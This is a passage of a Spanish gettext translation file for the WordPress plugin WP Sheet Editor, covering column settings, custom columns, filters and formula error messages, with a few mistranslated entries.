"La columna aparecerá en la hoja de cálculo y en las exportaciones si el " "usuario tiene un rol con la capacidad requerida." #: columns-manager/columns-manager.php:1143 msgid "User capabilities that can edit this column" msgstr "Capacidades de usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1143 msgid "" "The column will be read only if the user doesn't have a role with the " "required capability." msgstr "" "La columna puede ser leía solo si el usuario no tiene un rol con la " "capacidad requerida." #: columns-manager/columns-manager.php:1154 msgid "Separated with commas" msgstr "Separados por comas" #: columns-manager/columns-manager.php:1155 msgid "Serialized array" msgstr "Array serializado" #: columns-manager/columns-manager.php:1158 msgid "File ID" msgstr "ID del archivo" #: columns-manager/columns-manager.php:1159 formulas/inc/ui.php:998 #: universal-sheet/views/import-modal.php:43 msgid "File URL" msgstr "URL del archivo" #: columns-manager/columns-manager.php:1162 msgid "Use default" msgstr "Usar por defecto" #: columns-manager/columns-manager.php:1163 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "Yes" msgstr "Sí" #: columns-manager/columns-manager.php:1164 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "No" msgstr "No" #: columns-manager/columns-manager.php:1167 #: columns-manager/columns-manager.php:1172 #: wp-sheet-editor/dev/inc/api/bootstrap.php:463 #: wp-sheet-editor/dev/inc/api/custom-tables-bootstrap.php:22 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:1168 msgid "Username" msgstr "Nombre de usuario" #: columns-manager/columns-manager.php:1169 #: columns-manager/columns-manager.php:1212 msgid "Email" msgstr "Correo electrónico" #: columns-manager/columns-manager.php:1173 #: wp-sheet-editor/dev/inc/api/bootstrap.php:484 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "Título" #: columns-manager/columns-manager.php:1174 #: columns-manager/columns-manager.php:1183 msgid "Slug" msgstr "Slug" #: columns-manager/columns-manager.php:1177 msgid "Saved them separated by comma" msgstr "Guárdalos separados por comas" #: columns-manager/columns-manager.php:1178 msgid "Save them as serialized array" msgstr "Guárdalos como un array serializado" #: columns-manager/columns-manager.php:1181 msgid "Term ID" msgstr "ID del término" #: columns-manager/columns-manager.php:1182 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/downloadable.php:258 #: woocommerce/inc/downloadable.php:259 woocommerce/inc/variations.php:506 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:946 msgid "Name" msgstr "Nombre" #: columns-manager/columns-manager.php:1187 msgid "Same as the spreadsheet taxonomy" msgstr "Igual que la taxonomía de la hoja de cálculo" #: columns-manager/columns-manager.php:1193 msgid "Same as the spreadsheet post type" msgstr "Igual que el post type de la hoja de cálculo" #: columns-manager/columns-manager.php:1198 msgid "Automatic" msgstr "Automático" #: columns-manager/columns-manager.php:1199 msgid "Text" msgstr "Texto" #: columns-manager/columns-manager.php:1200 msgid "Text editor (tinymce)" msgstr "Editor de texto (tinymce)" #: columns-manager/columns-manager.php:1201 msgid "Single selection dropdown" msgstr "Desplegable de selección simple" #: columns-manager/columns-manager.php:1202 msgid "Multi select dropdown" msgstr "Desplegable de selección múltiple" #: columns-manager/columns-manager.php:1203 msgid "Checkbox" msgstr "Casilla de verificación" #: columns-manager/columns-manager.php:1204 msgid "File upload" msgstr "Cargar archivo" #: columns-manager/columns-manager.php:1205 #: wp-sheet-editor/dev/inc/api/bootstrap.php:614 #: wp-sheet-editor/dev/inc/teasers/post-types.php:97 msgid "Date" msgstr "Fecha" #: columns-manager/columns-manager.php:1206 msgid "Date and time" msgstr "Fecha y hora" #: columns-manager/columns-manager.php:1207 msgid "User dropdown" msgstr "Desplegable de usuario" #: columns-manager/columns-manager.php:1208 msgid "Post dropdown" msgstr "Desplegable de posts" #: columns-manager/columns-manager.php:1209 msgid "Taxonomy term dropdown" msgstr "Desplegable de términos de taxonomía" #: columns-manager/columns-manager.php:1210 msgid "Currency" msgstr "Moneda" #: columns-manager/columns-manager.php:1211 msgid "URL" msgstr "URL" #: columns-manager/columns-manager.php:1213 formulas/inc/ui.php:336 #: formulas/inc/ui.php:364 msgid "Number" msgstr "Número" #: columns-manager/columns-manager.php:1214 msgid "Clickable button" msgstr "Botón" #: columns-manager/columns-manager.php:1215 msgid "Raw HTML" msgstr "Raw HTML" #: columns-manager/columns-manager.php:1221 #: wp-sheet-editor/dev/inc/api/helpers.php:955 msgid "Default" msgstr "Por defecto" #: columns-manager/columns-manager.php:1233 msgid "Column format" msgstr "Formato de columna" #: columns-manager/columns-manager.php:1238 msgid "" "This format will only allow administrators with the capability " "unfiltered_html to save any HTML in this column, we'll still remove unsafe " "html tags when non-administrators save values in this column." msgstr "" "Este formato sólo permitirá a los administradores con la capacidad " "unfiltered_html guardar cualquier HTML en esta columna, seguiremos " "eliminando las etiquetas html no seguras cuando los no administradores " "guarden valores en esta columna." #: columns-manager/columns-manager.php:1241 msgid "" "This can be used if the cell value will always be a URL, so the cell will be " "displayed as readonly and it will contain a button that will open the URL " "from the cell value." msgstr "" "Esto se puede utilizar si el valor de la celda será siempre una URL, por lo " "que la celda se mostrará como de sólo lectura y contendrá un botón que " "abrirá la URL a partir del valor de la celda." #: columns-manager/columns-manager.php:1244 #: columns-manager/columns-manager.php:1249 msgid "Allowed values" msgstr "Valores permitidos" #: columns-manager/columns-manager.php:1245 #: columns-manager/columns-manager.php:1250 msgid "" "Enter each choice on a new line. For more control, you may specify both a " "value and label like this: red : Red" msgstr "" "Ingresa cada selección en una nueva línea. Para mayor control, puedes " "especificar un valor y una etiqueta así: rojo : Rojo" #: columns-manager/columns-manager.php:1252 msgid "How are the multiple values saved in the database?" msgstr "¿Cómo se guardan los valores múltiples en la base de datos?" #: columns-manager/columns-manager.php:1257 msgid "What value is saved when the checkbox is checked?" msgstr "¿Qué valor se guarda cuando la casilla de verificación está marcada?" #: columns-manager/columns-manager.php:1259 msgid "What value is saved when the checkbox is unchecked?" msgstr "" "¿Qué valor se guarda cuando la casilla de verificación está desmarcada?" #: columns-manager/columns-manager.php:1263 msgid "" "You will be able to type the username in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre de usuario en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1264 msgid "How is the user saved in the database?" msgstr "¿Cómo se guarda el usuario en la base de datos?" #: columns-manager/columns-manager.php:1269 msgid "" "You will be able to type the term name in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre del término en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1270 msgid "How is the taxonomy term saved in the database?" msgstr "¿Cómo se guarda el término taxonómico en la base de datos?" #: columns-manager/columns-manager.php:1275 msgid "Allow multiple terms per field?" msgstr "¿Permitir varios términos por campo?" #: columns-manager/columns-manager.php:1277 msgid "How do you want to save the multiple terms?" msgstr "¿Cómo quieres guardar los términos múltiples?" #: columns-manager/columns-manager.php:1280 msgid "Accept terms from this taxonomy" msgstr "Aceptar términos de esta taxonomía" #: columns-manager/columns-manager.php:1281 msgid "" "For example, if you select the blog categories, we will only accept blog " "categories in this column." msgstr "" "Por ejemplo, si seleccionas las categorías del blog, sólo aceptaremos " "categorías del blog en esta columna." #: columns-manager/columns-manager.php:1285 msgid "" "You will be able to type numbers without formatting, for example: 999999.88 " "or 100, and we will automatically save them in the formatted way. This " "conversion will happen when you save and not live when you edit in the cells " "and you will see the modified values on the next spreadsheet reload." msgstr "" "Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los " "guardaremos automáticamente con formato. Esta conversión se producirá cuando " "guardes y no en directo cuando edites en las celdas y verás los valores " "modificados en la siguiente recarga de la hoja de cálculo." #: columns-manager/columns-manager.php:1286 msgid "Number of decimals" msgstr "Número de decimales" #: columns-manager/columns-manager.php:1289 msgid "Decimals separator" msgstr "Separador de decimales" #: columns-manager/columns-manager.php:1292 msgid "Thousands separator" msgstr "Separador de miles" #: columns-manager/columns-manager.php:1296 msgid "" "You will be able to type the post title in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el título de la entrada en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1297 msgid "How is the post saved in the database?" msgstr "¿Cómo se guarda el post en la base de datos?" #: columns-manager/columns-manager.php:1301 msgid "Allow multiple posts per field?" msgstr "¿Permitir varios posts por campo?" #: columns-manager/columns-manager.php:1303 msgid "How do you want to save the multiple posts?" msgstr "¿Cómo quieres guardar los posts múltiples?" #: columns-manager/columns-manager.php:1306 msgid "Accept post from this post type" msgstr "Aceptar posts de este post type" #: columns-manager/columns-manager.php:1307 msgid "" "For example, if you select the post type \"product\", we will only accept " "product titles." msgstr "" "Por ejemplo, si seleccionas el post type \"producto\", sólo aceptaremos " "títulos de productos." #: columns-manager/columns-manager.php:1311 msgid "How is the file saved in the database?" msgstr "¿Cómo se guarda el archivo en la base de datos?" #: columns-manager/columns-manager.php:1312 msgid "" "The cell will display the values as URLs and you can edit in the cells using " "full URLs, file ID, or file name.
                  External URLs are automatically " "imported into the media library.
                  We will save the value in the format " "selected here" msgstr "" "La celda mostrará los valores como URLs y puedes editar en las celdas usando " "URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs " "externas se importan automáticamente en la biblioteca multimedia." "
                  Guardaremos el valor en el formato seleccionado aquí" #: columns-manager/columns-manager.php:1316 msgid "Allow multiple files per field?" msgstr "¿Permitir varios archivos por campo?" #: columns-manager/columns-manager.php:1317 msgid "How do you want to save the multiple files?" msgstr "¿Cómo quieres guardar los archivos múltiples?" #: columns-manager/columns-manager.php:1322 msgid "What date format do you want to display in the spreadsheet?" msgstr "¿Qué formato de fecha quieres mostrar en la hoja de cálculo?" #: columns-manager/columns-manager.php:1323 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d" #: columns-manager/columns-manager.php:1326 #: columns-manager/columns-manager.php:1335 msgid "What date format do you want to save in the database?" msgstr "¿Qué formato de fecha quieres guardar en la base de datos?" #: columns-manager/columns-manager.php:1327 msgid "" "Enter a date format. List of formats. Example: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d" #: columns-manager/columns-manager.php:1331 msgid "What date time format do you want to display in the spreadsheet?" msgstr "" "¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?" #: columns-manager/columns-manager.php:1332 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "D-M-A\n" "\n" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d H:i:s" #: columns-manager/columns-manager.php:1336 msgid "" "Enter a date format. List of formats. Example: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d H:i:s" #: columns-manager/inc/column-groups.php:49 msgid "Spreadsheet views" msgstr "Vista de hojas de cálculo" #: columns-manager/inc/column-groups.php:82 #: wp-sheet-editor/dev/inc/options-init.php:562 #: wp-sheet-editor/dev/wp-sheet-editor.php:1147 msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #: columns-manager/inc/column-groups.php:83 msgid "" "Note. This is not a security feature, the user can edit all the fields in " "the normal editor based on the role. This option is for convenience, so they " "only see the columns they need when they open the spreadsheet editor. If you " "leave these fields empty they can switch between all the existing views" msgstr "" "Nota. Esta no es una característica de seguridad, el usuario puede editar " "todos los campos en el editor normal basado en el rol. Esta opción es por " "conveniencia, para que los usuarios puedan solo ver las columnas que " "necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, " "podrán cambiar entre todas las vistas existentes" #: columns-manager/inc/column-groups.php:100 msgid "%s: Allowed spreadsheet views" msgstr "%s: Hojas de cálculo permitidas" #: columns-manager/inc/column-groups.php:103 msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "" "Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas " "por comas." #: columns-manager/inc/column-groups.php:332 msgid "Add a name for this group of columns" msgstr "Agrega un nombre para este grupo de columnas" #: columns-manager/inc/column-groups.php:332 msgid "" "We will save this group of columns as a spreadsheet view and you can switch " "between spreadsheets in the toolbar" msgstr "" "Guardaremos este grupo de columnas como una vista de la hoja de cálculo y " "podrás cambiar entre vistas en la barra de herramientas" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:326 msgid "Rename column" msgstr "Renombrar columna" #: columns-renaming/columns-renaming.php:59 #: columns-visibility/columns-visibility.php:156 #: columns-visibility/columns-visibility.php:169 #: columns-visibility/columns-visibility.php:209 #: universal-sheet/universal-sheet.php:139 woocommerce/inc/attributes.php:795 #: woocommerce/inc/attributes.php:1015 woocommerce/inc/variations.php:1252 #: woocommerce/inc/variations.php:1279 wp-sheet-editor/dev/inc/ajax.php:73 #: wp-sheet-editor/dev/inc/ajax.php:160 wp-sheet-editor/dev/inc/ajax.php:192 #: wp-sheet-editor/dev/inc/ajax.php:237 wp-sheet-editor/dev/inc/ajax.php:284 #: wp-sheet-editor/dev/inc/ajax.php:305 wp-sheet-editor/dev/inc/ajax.php:383 msgid "Missing parameters." msgstr "Parámetros faltantes." #: columns-renaming/columns-renaming.php:63 #: columns-visibility/columns-visibility.php:160 #: columns-visibility/columns-visibility.php:173 #: columns-visibility/columns-visibility.php:269 msgid "You dont have enough permissions to execute this action." msgstr "No tienes suficientes permisos para ejecutar esta acción." #: columns-visibility/columns-visibility.php:164 msgid "" "Columns restored successfully, please reload the page to see the restored " "columns and enable them" msgstr "" "Columnas restauradas con éxito. Por favor, recarga la página para ver las " "columnas restauradas y habilitarlas" #: columns-visibility/columns-visibility.php:356 msgid "Hide / Display / Sort columns" msgstr "Ocultar / Mostrar columnas" #: columns-visibility/views/form.php:12 msgid "" "Drag the columns to the left or right side to enable/disable them, drag them " "to the top or bottom to sort them, click on the \"edit\" button to rename " "them, click on the \"x\" button to delete them completely (only when they " "are disabled previously)." msgstr "" "Arrastra las columnas a la izquierda o a la derecha para habilitarlas/" "deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. " "Haz clic en el botón \"editar\" para renombrarlas, haz clic en el botón " "\"x\" para borrarlas por completo (sólo cuando estén deshabilitadas " "previamente)." #: columns-visibility/views/form.php:15 columns-visibility/views/form.php:73 msgid "Enable all" msgstr "Habilitar todas" #: columns-visibility/views/form.php:16 columns-visibility/views/form.php:27 msgid "Disable all" msgstr "Deshabilitar todas" #: columns-visibility/views/form.php:22 msgid "Enabled" msgstr "Habilitadas" #: columns-visibility/views/form.php:22 columns-visibility/views/form.php:67 msgid "Bulk" msgstr "Masivo" #: columns-visibility/views/form.php:24 columns-visibility/views/form.php:70 msgid "Enter a search term..." msgstr "Ingresa un término de búsqueda..." #: columns-visibility/views/form.php:26 columns-visibility/views/form.php:72 #: universal-sheet/views/import-modal.php:85 msgid "Bulk actions" msgstr "Acciones masivas" #: columns-visibility/views/form.php:28 columns-visibility/views/form.php:75 msgid "Sort alphabetically ASC" msgstr "Ordenar alfabéticamente ASC" #: columns-visibility/views/form.php:29 columns-visibility/views/form.php:76 msgid "Sort alphabetically DESC" msgstr "Ordenar alfabéticamente DESC" #: columns-visibility/views/form.php:56 columns-visibility/views/form.php:99 msgid "" "Remove column completely. If you want to use it later you can disable it by " "dragging and dropping to the right column" msgstr "" "Quitar la columna completamente. Si quieres usarla más tarde, puedes " "deshabilitarla arrastrando y soltando a la columna de la derecha" #: columns-visibility/views/form.php:58 columns-visibility/views/form.php:101 msgid "Disable column. You can enable it later." msgstr "Deshabilitar columna. Puedes habilitarla más tarde." #: columns-visibility/views/form.php:59 columns-visibility/views/form.php:102 msgid "Enable column" msgstr "Habilitar columna" #: columns-visibility/views/form.php:67 msgid "Disabled" msgstr "Deshabilitada" #: columns-visibility/views/form.php:74 msgid "Delete all" msgstr "Borrar todo" #: columns-visibility/views/form.php:95 msgid "Enabling this column requires a page reload" msgstr "Habilitar esta columna requiere una recarga de la página" #: columns-visibility/views/form.php:114 msgid "A column is missing?" msgstr "¿Falta una columna?" #: columns-visibility/views/form.php:116 msgid "" "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" "- Primero, edita un elemento en el editor normal y rellena todos los campos " "manualmente." #: columns-visibility/views/form.php:125 msgid "" "- We can scan the database, find new fields, and create columns automatically" msgstr "" "- Podemos escanear la base de datos, encontrar nuevos campos y crear " "columnas automáticamente" #: columns-visibility/views/form.php:132 msgid "You can do this multiple times" msgstr "Puedes hacer esto varias veces" #: columns-visibility/views/form.php:132 msgid "Scan Now" msgstr "Escanear Ahora" #: columns-visibility/views/form.php:137 msgid "- If the previous solution failed, you can create new columns manually." msgstr "" "- Si la solución anterior falló, puedes crear nuevas columnas manualmente." #: columns-visibility/views/form.php:137 msgid "Create column" msgstr "Crear columna" #: columns-visibility/views/form.php:139 msgid "- Maybe you deleted the columns from the list." msgstr "- Quizá eliminaste las columnas de la lista." #: columns-visibility/views/form.php:139 msgid "Restore deleted columns" msgstr "Restaurar columnas eliminadas" #: columns-visibility/views/form.php:140 msgid "- We can help you." msgstr "- Podemos ayudarte." #: columns-visibility/views/form.php:140 #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #: wp-sheet-editor/dev/wp-sheet-editor.php:1056 msgid "Contact us" msgstr "Contáctanos" #: columns-visibility/views/form.php:146 msgid "Save these settings for future sessions?" msgstr "¿Guardar estos ajustes para sesiones futuras?" #: columns-visibility/views/form.php:154 msgid "Apply settings" msgstr "Aplicar ajustes" #: columns-visibility/views/form.php:155 filters/filters.php:573 #: formulas/inc/ui.php:153 universal-sheet/views/import-modal.php:228 #: woocommerce/views/spreadsheet-create-variations-modal.php:112 #: wp-sheet-editor/dev/inc/integrations/notifier.php:296 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:289 #: wp-sheet-editor/dev/views/editor-page.php:340 #: wp-sheet-editor/dev/views/editor-page.php:364 #: wp-sheet-editor/dev/views/extensions-modal.php:10 #: wp-sheet-editor/dev/views/settings-form.php:121 #: wp-sheet-editor/dev/views/support-modal.php:24 msgid "Close" msgstr "Cerrar" #: custom-columns/custom-columns.php:431 msgid "Add columns for custom fields" msgstr "Añadir columnas nuevas para campos personalizados" #: custom-columns/custom-columns.php:580 msgid "Missing columns" msgstr "Columnas faltantes" #: custom-columns/custom-columns.php:622 msgid "Missing post type or column_key" msgstr "Falta el post type o la column_key (clave de la columna)" #: custom-columns/custom-columns.php:625 custom-columns/custom-columns.php:649 #: custom-columns/custom-columns.php:672 msgid "" "You are not allowed to do this action. Please reload the page or log in " "again." msgstr "" "No puedes realizar esta acción. Por favor, recarga la página o inicia sesión " "de nuevo." #: custom-columns/custom-columns.php:635 msgid "The meta field was deleted successfully" msgstr "El campo meta fue eliminado con éxito" #: custom-columns/custom-columns.php:639 msgid "The meta field could not be deleted." msgstr "El campo meta no pudo ser eliminado." #: custom-columns/custom-columns.php:646 msgid "" "Missing post type, old_column_key, or new_column_key; or the old and new key " "are the same." msgstr "" "Falta el post type, old_column_key, o new_column_key; o la clave antigua y " "la clave nueva son iguales." #: custom-columns/custom-columns.php:662 msgid "The meta key was renamed successfully" msgstr "La clave meta fue renombrada con éxito" #: custom-columns/custom-columns.php:666 msgid "The meta key couldnt be renamed." msgstr "La clave meta no pudo ser renombrada." #: custom-columns/custom-columns.php:703 msgid "Columns could not be saved. Try again." msgstr "Las columnas no se pudieron guardar. Inténtalo de nuevo." #: custom-columns/custom-columns.php:706 msgid "Changes saved" msgstr "Cambios guardados" #: custom-columns/custom-columns.php:720 msgid "Are you sure you want to delete this column?" msgstr "¿Estás seguro de que quieres borrar esta columna?" #: custom-columns/custom-columns.php:728 msgid "Custom columns" msgstr "Columnas personalizadas" #: custom-columns/views/settings-page.php:11 #: spreadsheet-setup/views/page.php:11 #: wp-sheet-editor/dev/inc/api/bootstrap.php:146 #: wp-sheet-editor/dev/views/editor-page.php:70 #: wp-sheet-editor/dev/views/extensions-page.php:16 #: wp-sheet-editor/dev/views/quick-setup.php:28 #: wp-sheet-editor/dev/views/settings-page.php:5 #: wp-sheet-editor/dev/views/whats-new.php:12 #: wp-sheet-editor/dev/wp-sheet-editor.php:1153 msgid "Sheet Editor" msgstr "Sheet Editor" #: custom-columns/views/settings-page.php:14 msgid "Add New Columns to the Spreadsheet" msgstr "Agregar nuevas columnas a la hoja de cálculo" #: custom-columns/views/settings-page.php:16 msgid "" "Enter the column name (anything you want), and select the field key from the " "dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" "Ingresa el nombre de la columna (lo que quieras) y selecciona la clave de " "campo en el menú desplegable. Si no la encuentras, puedes escribirla en el " "desplegable. Ver Tutorial " #: custom-columns/views/settings-page.php:17 msgid "" "Enable the advanced mode at the bottom of the page to customize the column " "width, format (editor, file upload, taxonomies), etc." msgstr "" "Habilita el modo avanzado en la parte inferior de la página para " "personalizar el ancho de la columna, el formato (editor, carga de archivos, " "taxonomías), etc." #: custom-columns/views/settings-page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "Need help? Contact us" msgstr "¿Necesitas ayuda? Contáctanos" #: custom-columns/views/settings-page.php:38 msgid "Column name" msgstr "Nombre de columna" #: custom-columns/views/settings-page.php:38 msgid "The column name displayed in the spreadsheet" msgstr "Nombre de la columna que se muestra en la hoja de cálculo" #: custom-columns/views/settings-page.php:42 msgid "Column key" msgstr "Clave de la columna" #: custom-columns/views/settings-page.php:42 msgid "" "The key that will be used for saving the information in the database. This " "must be unique, only letters and underscores." msgstr "" "Clave que se utilizará para guardar la información en la base de datos. Debe " "ser única, sólo letras y guiones bajos." #: custom-columns/views/settings-page.php:62 msgid "Data source" msgstr "Fuente de datos" #: custom-columns/views/settings-page.php:62 msgid "Select the kind of information used in the cells of this column." msgstr "" "Selecciona el tipo de información utilizada en las celdas de esta columna." #: custom-columns/views/settings-page.php:64 msgid "Post data" msgstr "Datos del post" #: custom-columns/views/settings-page.php:65 msgid "Post meta (i.e. metaboxes)" msgstr "Meta del post (es decir, metaboxes)" #: custom-columns/views/settings-page.php:66 msgid "Post terms (i.e. categories)" msgstr "Términos del post (es decir, categorías)" #: custom-columns/views/settings-page.php:70 msgid "Post type(s)" msgstr "Post type(s)" #: custom-columns/views/settings-page.php:70 msgid "What kind of posts require this column in the spreadsheet?" msgstr "¿Qué post types requieren esta columna en la hoja de cálculo?" #: custom-columns/views/settings-page.php:95 msgid "Allow to edit using formulas?" msgstr "¿Permitir editar usando fórmulas?" #: custom-columns/views/settings-page.php:95 msgid "If you disable this option, this column will be edited manually only." msgstr "Si deshabilitas esta opción, esta columna sólo se editará manualmente." #: custom-columns/views/settings-page.php:99 msgid "Allow to hide column?" msgstr "¿Permitir ocultar la columna?" #: custom-columns/views/settings-page.php:99 msgid "Allow to hide this column on the settings page?" msgstr "¿Permitir ocultar esta columna en la página de ajustes?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column?" msgstr "¿Permitir renombrar la columna?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column on the settings page?" msgstr "¿Permitir renombrar la columna en la página de ajustes?" #: custom-columns/views/settings-page.php:107 msgid "Cell type" msgstr "Tipo de celda" #: custom-columns/views/settings-page.php:107 msgid "" "Select the format of the cells, if the cells should be normal text, a file " "uploader, or text editor." msgstr "" "Selecciona el formato de las celdas, si las celdas deben ser de texto " "normal, un cargador de archivos o un editor de texto." #: custom-columns/views/settings-page.php:110 msgid "Normal cell" msgstr "Celda normal" #: custom-columns/views/settings-page.php:111 msgid "TinyMCE Editor" msgstr "Editor TinyMCE" #: custom-columns/views/settings-page.php:112 msgid "File upload (single)" msgstr "Carga de archivos (individual)" #: custom-columns/views/settings-page.php:113 msgid "File upload (multiple)" msgstr "Carga de archivos (múltiple)" #: custom-columns/views/settings-page.php:117 msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 msgid "Simple text" msgstr "Texto simple" #: custom-columns/views/settings-page.php:120 #: custom-columns/views/settings-page.php:129 msgid "Calendar" msgstr "Calendario" #: custom-columns/views/settings-page.php:121 msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "" "Menú desplegable de taxonomías. Sólo si la fuente de datos = Términos del " "post." #: custom-columns/views/settings-page.php:122 #: custom-columns/views/settings-page.php:131 msgid "Unfiltered HTML" msgstr "HTML sin filtrar" #: custom-columns/views/settings-page.php:126 msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:130 msgid "Taxonomy dropdown" msgstr "Desplegado de taxonomías" #: custom-columns/views/settings-page.php:135 msgid "Column width (pixels)" msgstr "Ancho de columna (pixeles)" #: custom-columns/views/settings-page.php:141 formulas/inc/ui.php:195 msgid "Delete" msgstr "Eliminar" #: custom-columns/views/settings-page.php:148 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:339 msgid "Add new column" msgstr "Añadir nueva columna" #: custom-columns/views/settings-page.php:152 msgid "Advanced mode" msgstr "Modo avanzado" #: factory.php:226 wp-sheet-editor/dev/wp-sheet-editor.php:1356 msgid "My license" msgstr "Mi licencia" #: filters/filters.php:197 msgid "" "To search among all posts use the Search tool. Use this to locate and " "highlight one value in the loaded rows in the spreadsheet. I.e. highlight a " "SKU or email or title." msgstr "" "Para buscar entre todos los posts, usa la herramienta de búsqueda. Se usa " "para localizar y resaltar un valor en las filas cargadas en la hoja de " "cálculo. Es decir, resaltar un SKU, correo electrónico o título específico." #: filters/filters.php:198 msgid "Locate cell" msgstr "Localizar celda" #: filters/filters.php:199 msgid "Locate cell." msgstr "Localizar celda." #: filters/filters.php:207 msgid "" "Enter a word and we will find the first matching column. You will avoid " "scrolling through dozens of columns to find the one you need." msgstr "" "Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás " "tener que desplazarte por docenas de columnas para encontrar la que " "necesitas." #: filters/filters.php:208 filters/filters.php:209 msgid "Locate column" msgstr "Localizar columna" #: filters/filters.php:224 filters/filters.php:236 filters/filters.php:521 msgid "Search" msgstr "Buscar" #: filters/filters.php:236 msgid "Quick search" msgstr "Búsqueda rápida" #: filters/filters.php:236 msgid "Enter a keyword" msgstr "Ingresa una palabra clave" #: filters/filters.php:491 msgid "Contains keyword" msgstr "Contiene palabra clave" #: filters/filters.php:492 msgid "" "It searches in the post title and post content. Search by multiple keywords " "separating keywords with a semicolon (;)" msgstr "" "Busca en el título de la entrada y en su contenido. Busca por varias " "palabras clave separándolas con punto y coma (;)" #: filters/filters.php:501 wp-sheet-editor/dev/inc/api/bootstrap.php:705 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 msgid "Status" msgstr "Estado" #: filters/filters.php:559 msgid "Enter a username or email..." msgstr "Ingresa un nombre de usuario o correo electrónico..." #: filters/filters.php:572 msgid "Run search" msgstr "Ejecutar búsqueda" #: formulas/formulas.php:84 msgid "Invalid #898AJSI. The replace requires 2 parameters, we received one" msgstr "" "#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno" #: formulas/formulas.php:97 msgid "Invalid #8W89PQ. Math formula is empty." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:102 msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "#PQ8SPQ inválido. La fórmula matemática contiene una coma: %s" #: formulas/formulas.php:107 msgid "Invalid #8W89PWQ. Math formula is invalid." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:118 msgid "Invalid #PQ8PHP. The PHP function does not exist: %s" msgstr "#PQ8SPQ inválido. La función PHP no existe: %s" #: formulas/formulas.php:123 msgid "" "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an " "unknown formula type." msgstr "" "#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un " "tipo de fórmula desconocida." #: formulas/formulas.php:179 msgid "The random values could not be read." msgstr "Los valores aleatorios no pudieron ser leídos." #: formulas/formulas.php:319 msgid "" "The math formula can't be applied. We found some existing data is not " "numeric. Data found: %1$s, ID: %2$d" msgstr "" "No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no " "es numérico. Datos encontrados: %1$s, ID: %2$d" #: formulas/formulas.php:333 msgid "" "Error. The math engine could not execute the math operation: %1$s, ID: %2$d" msgstr "" "Error. El motor matemático no pudo ejecutar la operación matemática: %1$s, " "ID: %2$d" #: formulas/formulas.php:449 msgid "The search parameter must contain $current_value$ only" msgstr "El parámetro de búsqueda debe contener $current_value$ solamente" #: formulas/formulas.php:457 msgid "Value in the replace section is not valid" msgstr "El valor en la sección de reemplazo no es válido" #: formulas/formulas.php:837 msgid "You do not have permission to delete posts." msgstr "No tiene suficientes permisos para borrar filas." #: formulas/formulas.php:882 msgid "Missing number and time unit." msgstr "Falta el número y la unidad de tiempo." #: formulas/formulas.php:886 msgid "Invalid time unit." msgstr "Unidad de tiempo inválida." #: formulas/formulas.php:891 msgid "Please indicate which terms you want to remove." msgstr "Por 